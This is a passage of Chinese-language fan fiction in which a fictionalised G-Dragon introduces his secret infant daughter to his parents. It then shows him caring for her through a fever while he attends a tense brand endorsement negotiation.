这一次,她的目光在他脸上停留了很久。然后,她伸出没拿奶瓶的那只手,用小小的指尖,碰了碰他的下巴——那里有新冒出的胡茬,有些刺手。 她的指尖在他的皮肤上停留了几秒,然后收回去,继续喝奶。 权志龙站在原地,一动不动。 窗外的夜色深沉,城市的灯火像散落在黑色天鹅绒上的碎钻。 怀里的孩子,温热的,真实的,依赖着他的。 手里的奶瓶,渐空。 这个在2019年深秋开始的、全新的、笨拙的、充满了未知挑战的生活,就这样,在这个重新布置过的家里,在首尔永不熄灭的灯火背景下,安静地继续着。 而权志龙知道,他选择的这条路,才刚刚开始。 8. 第 8 章父母 周日早晨,权志龙醒得比往常更早。 窗外的天色还是深沉的靛蓝色,只有东方天际透出一线模糊的灰白。他躺在主卧的大床上——这是搬回来后他第一次睡回自己的房间,儿童房的监控显示屏就在床头柜上,幽幽地亮着,画面里贤智还蜷在婴儿床里熟睡。 他盯着屏幕看了一会儿,然后起身,赤脚走进浴室。镜子里的男人眼下有淡淡的阴影,但眼神比一周前清明了许多。冷水扑在脸上,带走最后一丝睡意。 今天是父母要来的日子。 多美在周五晚上就打来电话确认:“我跟爸妈说是请你来我这儿吃饭,没提孩子的事。你带着贤智提前一点过来,我们先在书房谈,再让他们见孩子。” 权志龙当时正试图给贤智喂一种新口味的蔬菜泥,贤智皱着鼻子,用舌头把绿色的糊状物顶出来,表情抗拒得像在品尝毒药。 “好。”他一边应答,一边手忙脚乱地擦拭贤智的下巴,“几点?” “下午四点。他们习惯早到,你三点半就过来。”多美的语气不容置疑,“还有,穿得……正常点。别穿那些破洞裤或者太夸张的衣服。” 权志龙低头看了看自己身上沾了奶渍和菜泥的灰色卫衣。“知道了。” 现在,周日早晨,距离见面还有九个小时。 他从浴室出来,走到儿童房门口,轻轻推开门。房间里很暗,只有夜灯投下微弱的光晕。贤智侧躺着,怀里抱着兔子,呼吸均匀。她的睡姿很安稳,几乎不怎么翻身。 权志龙在门口站了一会儿,没有进去吵醒她,而是转身走向厨房。 冲奶粉的动作已经熟练了很多。水温、奶粉量、摇晃的力度,都形成了肌肉记忆。当他把冲好的奶瓶放在温奶器里保温时,墙上的时钟刚指向六点十分。 他给自己泡了杯咖啡,端着杯子走到客厅的落地窗前。 清晨的首尔正在苏醒。街道上的车辆渐渐多起来,远处的汉江上泛起晨雾,高楼大厦的轮廓在渐亮的天光中逐渐清晰。这是一个普通的深秋周日,对大多数人来说,意味着休息、家庭聚会、或者慵懒的早午餐。 但对权志龙来说,今天意味着要把自己人生中最大的变故,摊开在最亲近的家人面前。 他喝了一口咖啡,苦味在舌尖蔓延。 手机震动,是多美发来的消息:「醒了没?别迟到。爸妈今天可能会穿得很正式,你别太随便。」 权志龙回复:「醒了。会给贤智穿那套你买的米白色连体衣。」 「嗯。那套好看,显得乖巧。」 放下手机,权志龙走到游戏区旁边的小书架前——那里除了贤智的绘本,还放着李智媛留下的那本相册。他犹豫了一下,还是抽出来,坐在地毯上翻开。 相册里大部分是贤智出生后的照片。刚出生时皱巴巴的小脸,满月时穿着传统韩服的模样,第一次抬头、第一次翻身、第一次坐起来的瞬间……李智媛用相机细致地记录下了女儿成长的每一个里程碑。 翻到中间,有一张照片是李智媛抱着大约六个月大的贤智,站在画架前。画架上是一幅未完成的抽象画,色彩大胆而混乱,像是情绪的宣泄。李智媛的脸色已经有些苍白,但笑容依然温柔。她握着贤智的小手,指尖沾着颜料,在画布的角落按下一个模糊的、小小的手印。 照片背面写着:「贤智六个月。今天教她认识颜色。她最喜欢蓝色,像我。也许以后也会喜欢画画吧。」 权志龙的手指抚过那行字,停留了很久。 直到儿童房传来细微的响动,他才合上相册,起身走过去。 贤智已经醒了,正坐在婴儿床里,揉着眼睛。看见他进来,她放下手,张开双臂。 权志龙把她抱起来,闻到她身上温暖的、带着奶香的睡眠气息。“早。”他低声说,用脸蹭了蹭她柔软的头发。 上午的时间在琐碎的日常中流逝。喂奶,换尿布,陪贤智在地毯上玩积木,尝试给她吃早餐——今天贤智对苹果泥的接受度还不错,吃了小半碗。权志龙按照多美的清单,给贤智洗了澡,吹干头发,换上那套米白色的纯棉连体衣。衣服的领口和袖口绣着细小的蓝色星星图案,很衬贤智白皙的皮肤和浅褐色的眼睛。 他自己也换了衣服。简单的黑色针织衫,深灰色休闲裤,头发抓得随意但整洁。看着镜子里抱着孩子的自己,权志龙忽然有些恍惚——这个形象,和他过去十几年在公众面前塑造的任何一个“权志龙”都截然不同。 中午,他简单吃了点东西,贤智也跟着吃了点辅食。一点钟,贤智开始揉眼睛,这是她午睡的信号。权志龙把她哄睡,放进婴儿床,然后开始收拾出门要带的东西:尿布袋、备用衣物、奶瓶、奶粉、湿巾、她最喜欢的两个软胶玩具,还有那只破兔子。 多美给的清单上还写着“安抚奶嘴”和“婴儿背带”,权志龙犹豫了一下,还是塞进了包里。 两点半,贤智醒了。权志龙给她换上一件外出用的浅蓝色开衫,戴上同色系的小帽子,然后把她放进婴儿背带里——他研究了好久才弄明白怎么正确佩戴。贤智似乎对这个新姿势感到新奇,小手抓着背带的前襟,小脑袋转来转去。 出门前,权志龙站在玄关的镜子前最后检查了一遍。背带里的贤智靠在他胸前,帽子下露出柔软的发丝和好奇的眼睛。他自己戴着黑色口罩和棒球帽,只露出一双眼睛。 这样走出去,应该不会太引人注目……吧? 电梯下降时,贤智忽然伸出小手,碰了碰电梯镜面里权志龙的倒影。她似乎不明白为什么镜子里也有一个“爸爸”和一个“自己”,歪着头看了很久。 金南国的车已经等在楼下。看见权志龙背着孩子走出来,经纪人的表情有一瞬间的惊讶,但很快恢复平静,帮他们拉开车门。 “去多美姐那里?”金南国问。 “嗯。” 车子驶出车库,融入周日下午的车流。贤智对坐车似乎已经习惯了,安静地靠在权志龙怀里,看着窗外掠过的街景。阳光很好,透过车窗洒进来,暖洋洋的。 “杨社长那边,又催了一次。”等红灯时,金南国从后视镜里看了权志龙一眼,“我说你家里有些私事需要处理,下周会给明确答复。” 权志龙点点头。“辛苦你了,南国哥。” “我没事。”金南国叹了口气,“倒是你……今天,顺利。” “谢谢。” 车子在多美住的公寓楼下停稳时,刚好三点二十五分。权志龙抱着贤智下车,金南国帮他把包拿出来。 “我就在附近,结束了打电话。”金南国说。 权志龙点点头,背着贤智走进大楼。电梯里,贤智似乎感觉到气氛的不同,比平时更安静,只是把脸贴在权志龙胸口,小手抓着他的衣襟。 多美开门时已经准备好了。她穿着米色的羊绒衫和黑色长裤,头发整齐地束在脑后,妆容精致而自然。 “来了?”她侧身让他们进来,目光在贤智身上停留了一秒,“衣服穿对了。她睡过午觉了?” “刚醒。”权志龙走进玄关,小心地把贤智从背带里抱出来。 多美接过贤智,动作熟练地调整了一下她的帽子。“爸妈大概三点五十到。我们先去书房。” 书房是多美的工作间,三面墙都是书架,中间一张巨大的实木工作台上堆满了设计草图、面料样本和时尚杂志。多美把贤智放在工作台旁一张铺了软垫的椅子上,塞给她一个硅胶牙胶。 贤智对陌生的环境有些警惕,但没有哭闹,只是抱着牙胶,安静地坐着,大眼睛打量着周围。 “听着,”多美转过身,双手抱胸,看着权志龙,“等下爸妈来了,我会先跟他们说有个重要的事情要谈,然后带你进去。孩子的事,你亲自说,我补充。重点是:第一,孩子是你的,法律手续完备;第二,生母病逝,没有其他亲属;第三,你决定自己抚养;第四,暂时不对外公开。” 她语速很快,条理清晰,像是在布置一场重要的商业谈判。 “爸妈可能会很震惊,可能会问很多问题,甚至可能会生气。”多美继续说,“你保持冷静,如实回答。记住,他们是爱你的,最终会接受。但过程可能会有点……激烈。” 权志龙点点头。“我知道。” “还有,”多美指了指贤智,“孩子等下见到陌生人可能会害怕,你抱着她。如果她哭,别慌,正常。” 正说着,门铃响了。 权志龙的心脏猛地一跳。 多美看了他一眼,深吸一口气,走出书房。权志龙听到她开门的声音,父母熟悉的话语声传来: “多美啊,怎么还特意让我们过来,不是说好我们请志龙吃饭吗?” “妈,志龙已经在里面了。有点事要先跟你们谈。” “什么事这么正式?志龙呢?” 脚步声向书房靠近。权志龙站起身,走到贤智身边,把她抱起来。贤智似乎感受到了他的紧张,小手紧紧抓着他的衣领。 书房门被推开。 父母走了进来。 父亲权先生穿着深蓝色的夹克,头发梳得一丝不苟,脸上带着惯常的严肃表情。母亲权女士则穿着一件优雅的珍珠灰色连衣裙,手里还提着一个保温袋,显然是带了食物来。 他们的目光先是落在权志龙身上,上下打量,眼神里有关切,也有久别重逢的激动。然后,几乎同时,他们的视线下移,定格在权志龙怀里的贤智身上。 时间仿佛静止了。 母亲手里的保温袋“啪”地掉在地上,发出沉闷的声响。 父亲的嘴巴微微张开,眼睛瞪大,脸上的表情从疑惑转为震惊,再转为一种难以置信的茫然。 书房里安静得能听到加湿器细微的嗡鸣。 贤智在权志龙怀里动了动,似乎被这凝重的气氛吓到,小脸往他怀里埋了埋。 权志龙深吸一口气,开口,声音有些干涩: “爸,妈。这是贤智。我的女儿。” 母亲猛地抬手捂住嘴,眼眶瞬间红了。父亲则张了张嘴,想说什么,却发不出声音。 多美及时走上前,扶住母亲的手臂。“爸妈,先坐下,听志龙慢慢说。” 她把父母扶到书房的沙发上坐下,权志龙抱着贤智,在他们对面的椅子上坐下。贤智被三个陌生的大人注视着,有些不安,小嘴瘪了瘪,但没有哭。 “孩子……多大了?”母亲的声音颤抖着,眼睛死死盯着贤智。 “一岁半。去年三月生的。”权志龙回答。 “母亲呢?”父亲终于找回了声音,语气低沉。 “病逝了。癌症。”权志龙尽量让语气平静,“她叫李智媛,是……我在柏林认识的朋友。” “柏林?”母亲喃喃重复,“什么时候的事?” “2017年秋天。”权志龙说,“只有那一夜。她怀孕后没有告诉我,直到病重才通过法律程序确定了我的监护权。我退伍那天接到的通知。” 他简明扼要地解释了整个过程,包括DNA检测、法律文件、李智媛的信。父母安静地听着,表情从震惊逐渐转为复杂。母亲一直在抹眼泪,父亲则眉头紧锁,手指无意识地敲击着膝盖。 当权志龙说完,书房里再次陷入沉默。只有贤智偶尔发出的、细小的呼吸声。 良久,父亲缓缓开口:“你……确定要自己抚养?” “是。”权志龙回答得毫不犹豫。 “你知道这意味着什么吗?”父亲的语气严厉起来,“你不是普通人,你是权志龙!你的工作,你的行程,你的生活都在公众眼皮底下!突然多出个孩子,媒体会怎么写?粉丝会怎么想?你的职业生涯怎么办?” “我知道。”权志龙迎上父亲的目光,“但我不能把她交给别人。她是我的责任。” “责任?”父亲的声音提高了些,“你连自己都照顾不好,怎么照顾一个一岁半的孩子?你连饭都不会做!” “我正在学。”权志龙说,“冲奶粉,换尿布,做辅食,陪她玩,哄她睡……我每天都在学。” “那些是保姆该做的事!”父亲有些激动,“你的时间应该用在更有价值的地方!你的音乐呢?你的舞台呢?你就这样放弃一切,去当个全职爸爸?” “我没有放弃。”权志龙的声音依然平静,但握紧的手泄露了他的情绪,“音乐我会继续做,工作我也会处理。但我需要时间,需要调整。贤智是我的女儿,不是障碍。” “你——”父亲还想说什么,被母亲打断了。 “够了。”母亲的声音带着哭腔,但很坚定。她站起身,走到权志龙面前,目光落在贤智脸上。她的眼神很复杂,有心疼,有悲伤,也有一种逐渐涌上的、无法掩饰的温柔。 “孩子叫什么?”她轻声问。 “贤智。李贤智。” “贤智……”母亲重复着,伸出手,颤抖着,轻轻碰了碰贤智帽子下露出的柔软发丝。她的动作很轻,生怕惊扰了孩子。 贤智抬起头,看向这个满脸泪痕的陌生奶奶。她眨了眨大眼睛,没有害怕,只是安静地看着。 母亲的眼泪流得更凶了。她收回手,转向权志龙,声音哽咽:“受苦了……孩子受苦了,你也受苦了。” 权志龙的鼻子一酸,摇了摇头。 母亲又看向贤智,这次,她伸出手,不是碰,而是轻轻地、试探性地,从权志龙怀里接过了孩子。 贤智被转移到新怀抱里,有些困惑,转头看向权志龙,像是在询问。权志龙对她点点头,轻声说:“是奶奶。” 贤智似懂非懂,又转过头,看着抱着自己的陌生奶奶。母亲把她抱得很稳,动作虽然生疏,但极其温柔。她低头看着贤智,看着那张与儿子如此相似的小脸,眼泪一滴一滴落在贤智的帽子上。 “可怜的孩子……”她喃喃道,“这么小就没了妈妈……” 父亲坐在沙发上,看着妻子抱着孩子的模样,紧绷的表情慢慢松动。他长长地叹了口气,站起身,走到妻子身边,也低头看着贤智。 贤智被两个陌生的大人围着看,终于有些不安,小嘴瘪了瘪,眼眶泛红。 权志龙立刻伸手:“妈,她可能有点害怕。” 母亲连忙把贤智递还给他。回到熟悉的怀抱,贤智放松下来,把小脸埋进权志龙颈窝,小手紧紧抓着他的衣服。 父亲看着这一幕,沉默了许久。最后,他走到权志龙面前,拍了拍儿子的肩膀。动作有些僵硬,但很用力。 “既然决定了,”父亲的声音低沉,带着一种认命的疲惫,“就好好做。别半途而废。” 权志龙点头:“我会的。” 母亲擦干眼泪,重新看向贤智,眼神已经柔软下来。“她……乖吗?” “很安静。”权志龙说,“不太哭闹,但也不太笑。” 母亲伸出手,这次,她不是碰贤智,而是轻轻摸了摸权志龙的头发——这个动作,她已经很多年没有做过了。 “你也是,”她说,“从小就安静,心思重。” 多美适时地插话:“爸妈,晚饭已经准备好了。我们先吃饭吧,边吃边聊。” 晚餐的气氛比预想的缓和许多。多美叫的是高级韩餐厅的外送,菜肴精致而丰盛。贤智被放在一张临时找来的儿童餐椅里,权志龙坐在她旁边,时不时喂她几口专门准备的南瓜粥。 父母的目光几乎无法从贤智身上移开。母亲不断询问孩子的细节:喜欢吃什么、睡得好不好、有没有哪里不舒服。父亲虽然话不多,但每次贤智做出什么小动作——比如试图抓勺子,或者发出含糊的音节——他的目光都会立刻追过去。 血缘是种奇妙的东西。短短一顿饭的时间,那种最初的震惊和抵触,已经被一种天然的、难以言喻的亲近感取代。 饭后,多美收拾餐桌,父母则和权志龙一起坐在客厅。贤智被放在地毯上,面前摆着几个软胶玩具。她玩得很专注,不时抓起一个摇一摇,或者塞进嘴里啃一啃。 “孩 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“那该准备睡觉了。”母亲站起身,“你带她去客房吧,我们该回去了。” 权志龙抱着贤智站起身。父母也跟着站起来,走到玄关。 母亲穿上外套,又回头看了贤智一眼。贤智已经半闭着眼睛,小脑袋靠在权志龙肩上。 “志龙啊,”母亲开口,声音温柔,“下周末,带贤智回家吃饭吧。我给她做点好吃的。” 权志龙愣了一下,随即点头:“好。” 父亲也看了贤智一眼,然后对权志龙说:“有事打电话。别硬撑。” “知道了,爸。” 多美送父母到电梯口。权志龙抱着贤智站在门口,看着电梯门缓缓合上,父母的身影消失在视线里。 他回到客厅,多美也回来了,靠在玄关的墙上,长长地舒了口气。 “比我想象中顺利。”她说,“妈一看见孩子就心软了,爸虽然嘴上凶,但其实也接受了。” 权志龙点点头,低头看着怀里已经快睡着的贤智。 “你带她去客房哄睡吧。”多美说,“我收拾一下。” 权志龙抱着贤智走进客房——多美已经提前布置好了,婴儿床、尿布台、小夜灯一应俱全。他把贤智放在床上,给她换睡衣,擦脸。贤智很困了,全程都很配合,只是闭着眼睛,任由他摆布。 换好衣服,把她放进婴儿床,盖好被子。贤智抱着兔子玩偶,很快就睡着了。 权志龙坐在床边的椅子上,没有立刻离开。 窗外的夜色已经完全降临。多美公寓的楼层很高,能看见远处汉江上的游船灯火,和更远处连绵的城市光海。 手机震动,是母亲发来的消息:「孩子睡了吧?今天吓到她了,替我们说声对不起。下周来家里,妈妈给她做参鸡汤。」 紧接着是父亲的消息:「照顾好自己。需要帮忙就说。」 权志龙盯着那两条消息,看了很久。 然后他回复母亲:「睡了。下周我带她回去。」 回复父亲:「好。谢谢爸。」 放下手机,他看着婴儿床里熟睡的贤智。 这个小小的生命,在失去母亲之后,今天,第一次见到了她的爷爷奶奶。 血缘的纽带,正在以缓慢但坚定的速度,将原本断裂的、疏离的关系重新连接起来。 也许这就是家庭的意义。不完美,有摩擦,有误解,但最终,会在爱和责任面前,找到和解的方式。 权志龙俯身,在贤智额头上轻轻印下一个吻。 “晚安,贤智。”他低声说,“今天你做得很好。” 贤智在睡梦中动了动,小嘴无意识地咂巴了一下。 权志龙站起身,关掉大灯,只留一盏小夜灯,然后轻轻退出房间。 客厅里,多美已经收拾完,正坐在沙发上喝一杯热茶。看见他出来,她指了指对面的位置。 “坐。聊聊。” 权志龙在她对面坐下。多美给他也倒了一杯茶。 “爸妈这关算是过了。”多美说,“接下来,你打算怎么办?杨社长那边,不能再拖了。” 权志龙端起茶杯,热气蒸腾上来,模糊了他的视线。“我知道。明天我会开始看那份企划书,下周给他答复。” “你的底线是什么?”多美问得很直接。 权志龙沉默了片刻。“我需要保证每天有固定的时间陪贤智,不能连续离家超过三天,巡演的日程不能排得太满……还有,在孩子的事公开之前,公司必须配合保密。” 多美点点头。“这些条件,杨社长未必会全盘接受。” “那就谈判。”权志龙说,“我会让步,但核心的不能退。” 多美看着他,眼神里有赞许,也有担忧。“你变了,志龙。” 权志龙扯了扯嘴角。“是吗?” “以前你不会为了任何人、任何事,去跟公司谈条件。”多美说,“你总是把音乐和舞台放在第一位,其他的都可以让步。” “也许吧。”权志龙喝了一口茶,温热的液体顺着喉咙滑下,“但现在,有些事情比舞台更重要。” 多美没有再说什么。姐弟俩就这样安静地坐着,喝着茶,听着窗外隐约的城市背景音。 不知过了多久,多美站起身:“我送你下去吧,南国哥应该还在等。” 权志龙也站起来,走进客房,把熟睡的贤智连同小毯子一起抱出来。贤智在睡梦中皱了皱眉,但没醒。 多美帮他们拿好包,送到电梯口。电梯门打开前,她忽然开口: “志龙。” 权志龙回头。 “你是个好爸爸。”多美说,语气很认真,“虽然笨手笨脚的,但你在努力。” 权志龙愣了一下,然后,露出了这几天来第一个真正的、放松的笑容。 “谢谢姐。” 电梯门合上,开始下降。镜面墙壁里,映出他抱着孩子、微微笑着的身影。 回到车上时,贤智依然在熟睡。金南国从后视镜里看了他们一眼,没有多问,只是发动了车子。 夜色中的首尔,灯火如河流般在车窗外流淌。权志龙抱着贤智,看着这座他熟悉又陌生的城市。 今天,他迈出了重要的一步。 未来还有更多挑战:与公司的谈判,事业的重新规划,如何平衡父亲和艺人的双重身份,如何在保护贤智隐私的同时,面对迟早会到来的公众视线…… 但至少今晚,在这个秋日的夜晚,他知道自己不是一个人。 他有需要守护的女儿,有关心他的姐姐,有默默支持的经纪人,还有最终选择接纳的家人。 车子驶入汉南洞公寓的地下停车场。权志龙抱着贤智下车,走进电梯,回到那个已经焕然一新的家。 儿童房里,小夜灯散发着柔和的光。他把贤智轻轻放进婴儿床,盖好被子。 然后,他走到窗边,看着窗外沉睡的城市。 夜空中有几颗稀疏的星星,在都市光害中艰难地闪烁着。 他想起了李智媛信里的话:「我变成了星星,在天上看着贤智。」 也许,此刻真的有一颗星星,在注视着这个小小的房间,注视着床上安睡的孩子,也注视着他这个笨拙但努力的父亲。 权志龙在窗边站了很久,直到深夜的凉意透过玻璃传来。 他拉上窗帘,走回婴儿床边,最后看了贤智一眼,然后轻轻关上门。 客厅里,那架小小的白色钢琴在月光下泛着柔和的光泽。 他走过去,在琴凳上坐下,手指轻轻落在琴键上。 没有弹奏复杂的旋律,只是一首简单的、温柔的摇篮曲。 音符在安静的房间里流淌,像月光,像星光,像这个深秋夜晚里,一份沉甸甸却温暖的承诺。 9. 第九章 晨昏之间 贤智是在凌晨四点左右开始哭的。 不是平时醒来时那种哼哼唧唧的撒娇,而是尖锐的、撕心裂肺的嚎啕,像有什么东西在撕扯她小小的身体。权志龙几乎是立刻从床上弹起来,睡眠带来的昏沉被肾上腺素瞬间冲散。 他冲进儿童房时,贤智已经哭得满脸通红,小手在空中胡乱挥舞,双腿踢蹬着,把被子都踹到了地上。权志龙伸手去抱她,触手的温度高得吓人。 发烧了。 这个认知像一盆冰水从头浇下。权志龙的心跳骤然加速,他强迫自己冷静,按照育儿书上的步骤:先量体温。 电子体温计显示38.9度。 他翻出医药箱,找到婴幼儿专用的退烧药,仔细核对说明书上的剂量。冲药时手在抖,白色的药粉撒了一些在料理台上。他把贤智抱在怀里,用小滴管小心地喂药。贤智哭得直呛,药汁顺着嘴角流下来,混着眼泪和鼻涕。 “对不起,对不起……”权志龙低声哄着,用纱布轻轻擦拭她的脸,“吃了药就不难受了,贤智乖……” 喂完药,他抱着贤智在客厅里来回走动,手掌贴着她的后背,感受那异常的灼热。贤智的哭声渐渐弱下来,变成抽泣,最后转为疲惫的呜咽。她的眼皮沉重地耷拉着,但每次快要睡着时又会突然惊醒,像是被什么吓到,接着又开始哭。 窗外,天色从深黑转为墨蓝。城市的轮廓在晨雾中逐渐显现。 权志龙一夜未眠。 他每隔半小时给贤智量一次体温,用温水擦拭她的额头、脖子和手脚心。退烧药起效后,温度暂时降到38度,但两个小时后又开始回升。贤智时睡时醒,睡时不安稳,醒时没精神,只是蔫蔫地靠在他怀里,大眼睛里蒙着一层水汽,看着让人心疼。 早上七点,他给多美发了条消息:「贤智发烧了,38度9。」 多美几乎秒回:「退烧药吃了吗?物理降温做了吗?有没有其他症状?咳嗽?拉肚子?」 「吃了药,物理降温在做。暂时没有咳嗽,大便昨天正常。」 「观察。如果中午还不退,或者出现其他症状,立刻去医院。把儿科急诊地址发给你。」 多美发来一个定位,是江南区一家以儿科闻名的私立医院。 权志龙把地址保存下来,然后继续抱着贤智在客厅里走动。晨光透过窗帘缝隙照进来,在地板上投下窄窄的光带。新的一天开始了,但在这个公寓里,时间仿佛凝固在焦虑和担忧之中。 上午九点,贤智终于沉沉地睡去,体温暂时稳定在38度。权志龙把她轻轻放回婴儿床,盖好薄被,然后走到厨房,想给自己弄点吃的。 打开冰箱,看着里面排列整齐的食材,他却一点胃口都没有。最后只倒了一杯冰水,一口气灌下去,冰冷的液体从喉咙滑到胃里,带来短暂的清醒。 手机响了。是金南国。 “志龙,今天下午和品牌方的会议,两点,在江南。需要我几点来接你?” 权志龙捏了捏眉心。他完全忘了这件事——一个高端时尚品牌的代言续约谈判,已经推迟过一次,不能再推了。 “南国哥,”他声音沙哑,“贤智发烧了,我在家走不开。会议能改期吗?” 电话那头沉默了几秒。“志龙,这个品牌方已经很不满了。上次推迟,对方代表就说了很多难听的话。今天再改期,恐怕……” 权志龙看着儿童房虚掩的门。里面,贤智还在睡着,但呼吸声有些粗重。 “我问问多美姐能不能过来。”他说,“你等我消息。” 挂断电话,他打给多美。电话响了好几声才接通,背景音嘈杂,像是在某个活动现场。 “多美姐,贤智还在睡,但烧没完全退。我今天下午有个很重要的会议,必须去。你能过来帮我照看一下吗?就两三个小时。” 多美那边很吵,她提高了音量:“现在不行,我在大邱,有个品牌的快闪店开业活动,我是创意总监,走不开。最早也要晚上才能回首尔。”她顿了顿,“保姆呢?你不是在找育儿嫂吗?” “还没找到合适的。”权志龙感到一阵无力,“面试了几个,都不太行。” 多美叹了口气。“那你问问洙赫?他今天好像没有行程。” “洙赫?”权志龙愣了一下。让朋友来帮忙照顾生病的女儿?这似乎…… “总比你一个人强。”多美语气急促,“我得挂了,活动要开始了。有事随时打电话。” 电话断了。 权志龙握着手机,在客厅里站了一会儿。窗外的阳光越来越亮,城市已经完全苏醒。他低头看了看时间,上午九点半。 最终,他还是拨通了李洙赫的电话。 电话接通得很快。“志龙?” “洙赫,”权志龙的声音有些干涩,“你今天……忙吗?” “下午有个杂志拍摄,上午没事。怎么了?” “贤智发烧了,我下午有个必须去的会议,走不开。多美姐在外地,保姆还没找到……”他说得有些语无伦次,“能不能……麻烦你过来帮我看两三个小时?我会尽快回来。” 电话那头安静了几秒。权志龙几乎能想象出李洙赫那张没什么表情的脸上,眉毛微微挑起的样子。 “地址发给我。”李洙赫说,语气平静,“我现在过去。” “谢谢。”权志龙松了口气,挂断电话,把公寓地址发过去。 接下来的一个小时,他一边照顾贤智——给她喂了点水,换了一次退热贴,量了体温(38.5度)——一边快速收拾自己。洗澡,刮胡子,换上一套相对正式的黑色西装和白衬衫。镜子里的人眼下有浓重的阴影,但至少看起来像个体面的艺人了。 门铃在十点半准时响起。 权志龙打开门,李洙赫站在外面,穿着简单的白T恤和深色牛仔裤,肩上背着一个黑色的双肩包。他的目光越过权志龙,直接看向屋内。 “孩子呢?” “在房间,刚睡着。”权志龙侧身让他进来,“烧还没完全退,38度5。退烧药四个小时前吃的,下次要等到十二点半。如果她醒了,可以喂点温水,冰箱里有准备好的苹果泥,不想吃也不用勉强。尿布台在儿童房,湿巾和尿布都在那里……” 他语速很快,一边说一边领着李洙赫走进儿童房。贤智还在睡,小脸因为发烧而泛着不正常的红晕,呼吸声有些重。 李洙赫走到婴儿床边,低头看了贤智一会儿,然后从双肩包里拿出一个东西——是一个造型简约的电子体温计,看起来比权志龙家里的那个更专业。 “我路过药店买的。”李洙赫说,声音很低,“还有这个。”他又拿出一个盒装的退热贴,“店员说这个牌子的贴片降温效果更好。” 权志龙愣了一下,接过东西。“谢谢。” “会议几点结束?”李洙赫问。 “顺利的话,四点前能回来。”权志龙看了看表,“我现在得走了。南国哥在楼下等。有任何情况,随时给我打电话。” 李洙赫点点头。“去吧。” 权志龙最后看了一眼贤智,深吸一口气,转身走出公寓。电梯下降时,他感到一种奇异的割裂感——把生病的女儿交给朋友照顾,自己去参加一场关于代言费的谈判,这感觉荒谬又不真实。 但他别无选择。 会议地点在清潭洞一栋写字楼的顶层会议室。落地窗外是首尔的天际线,阳光刺眼。长桌两侧,一边是权志龙和金南国,另一边是品牌方的三位代表:一位韩国区总监,一位法务,还有一位从巴黎总部飞来的营销副总裁。 谈判进行得并不顺利。 品牌方对权志龙退伍后长达数月的“沉寂”表达了强烈不满,认为这影响了品牌形象和销售数据。他们要求大幅降低代言费,并增加一系列额外的推广义务:更多的线下活动,更频繁的社交媒体露出,甚至希望他能带产品出席私人场合。 “权先生,您必须理解,”那位法国副总裁用带着口音的英语说,“我们选择代言人,看中的是影响力和曝光率。过去几个月,您几乎从公众视野消失,这让我们很被动。” 权志龙坐在椅子上,身体微微前倾,双手交叠放在桌面上。他的表情很平静,但金南国注意到,他的指尖在无意识地敲击着桌面——这是他紧张或烦躁时的习惯动作。 “我理解贵司的担忧。”权志龙用韩语说,金南国在一旁同步翻译,“但正如我之前通过经纪人传达的,我个人经历了一些重大变化,需要时间调整。这不会影响我对代言工作的专业态度和投入程度。” “重大变化?”韩国区总监挑眉,“能具体说明吗?我们需要评估这些‘变化’是否会继续影响未来的合作。” 权志龙沉默了片刻。“是私人事务,不便透露。但我可以保证,从明年开始,我的工作节奏会恢复正常。” “保证?”法务代表推了推眼镜,“我们需要的是具有法律约束力的保证。比如,在合约中加入最低曝光率条款,如果达不到,贵方需要支付违约金。” 金南国的脸色变了变。“这太过分了。志龙过去和贵品牌的合作一直很愉快,也带来了显著的销售增长。现在因为几个月的低调期就要增加这种条款,不合理。” 谈判陷入僵局。 权志龙的手机在西装内袋里震动了一下。他拿出来,快速瞥了一眼屏幕。 是李洙赫发来的消息:「体温38.7,醒了,哭。喂了水,不肯吃苹果泥。要喂退烧药吗?时间还没到。」 权志龙的心脏猛地一缩。他手指飞快地打字:「物理降温,用温水擦脖子和手脚。如果哭得厉害,可以抱着走一走。药要等时间到。」 发送。 “权先生?”法国副总裁的声音拉回他的注意力,“您似乎有心事。” 权志龙抬起头,把手机放回口袋。“抱歉。我们继续。” 接下来的一个小时,他强迫自己集中精神,但思绪总是不受控制地飘向汉南洞的公寓。贤智怎么样了?还在哭吗?李洙赫能应付吗?要不要提前结束会议? 最终,在金南国据理力争下,双方达成了初步妥协:代言费降低15%,但不增加最低曝光率条款;权志龙需要在下个月配合拍摄一组新的品牌广告,并在明年第一季度至少出席两次线下活动。 “希望这次合作能重回正轨。”法国副总裁站起身,伸出手。 权志龙与他握手,礼节性地微笑。“会的。” 走出会议室时,下午三点二十。金南国去地下车库取车,权志龙站在大楼门口等。深秋的风已经带了凉意,吹在脸上,让他发热的头脑稍微清醒了些。 手机又震动起来。这次是多美。 “会议结束了?”多美问,背景音安静了很多,应该是在回程的车上了。 “刚结束。” “贤智怎么样?洙赫有联系你吗?” “刚联系过,烧还没退,在哭。”权志龙揉了揉太阳穴,“我现在回去。” “我大概六点到首尔,直接去你那里。”多美说,“需要我带什么吗?” “不用。路上小心。” 挂断电话,金南国的车正好开过来。权志龙拉开车门坐进去。 “直接回公寓?”金南国问。 “嗯。开快点。” 路上,权志龙又给李洙赫发了条消息:「在回去的路上了。她怎么样?」 几分钟后,李洙赫回复:「睡了。哭累了。」 简单的三个字,却让权志龙的心揪得更紧。 车子驶入公寓地下车库时,刚过四点。权志龙推开车门,几乎是跑向电梯。金南国在他身后喊:“志龙,明天上午的录音棚预约——” “取消。”权志龙头也不回,“全部取消,等我通知。” 电梯上升的数字跳得缓慢。权志龙盯着显示屏,第一次觉得这栋楼的电梯速度如此之慢。 门开了。他冲出去,用指纹解锁,拉开门。 客厅里很安静。李洙赫坐在沙发上,面前放着一本摊开的书——是权志龙那本育儿大全。听见动静,他抬起头。 “她呢?”权志龙喘着气问。 “房间。刚睡着。”李洙赫合上书,站起身,“体温38.4,比刚才降了点。十二点半喂了退烧药,喝了30毫升水,苹果泥一口没吃。尿布换过一次。” 他的汇报简洁、准确,像在陈述任务完成情况。 权志龙点点头,快步走进儿童房。贤智侧躺着,睡得很沉,小脸上还挂着泪痕,呼吸比早上平稳了一些。他伸手摸了摸她的额头,确实没那么烫了。 他松了口气,在床边坐下,这才感觉到疲惫像潮水般涌上来。一整天的高度紧张,加上昨晚几乎没睡,让他的太阳穴突突地跳。 李洙赫不知何时也走了进来,靠在门框上。“会议顺利吗?” “还行。”权志龙说,声音有些疲惫,“谢谢你了,洙赫。耽误你时间了。” 李洙赫摇摇头。“你吃午饭了吗?” 权志龙愣了一下。他这才想起来,从早上到现在,除了那杯冰水,什么都没吃。 “没有。” 李洙赫转身走向厨房。权志龙听到冰箱打开的声音,然后是微波炉启动的嗡鸣。几分钟后,李洙赫端着一碗热好的速食粥回来,递给他。 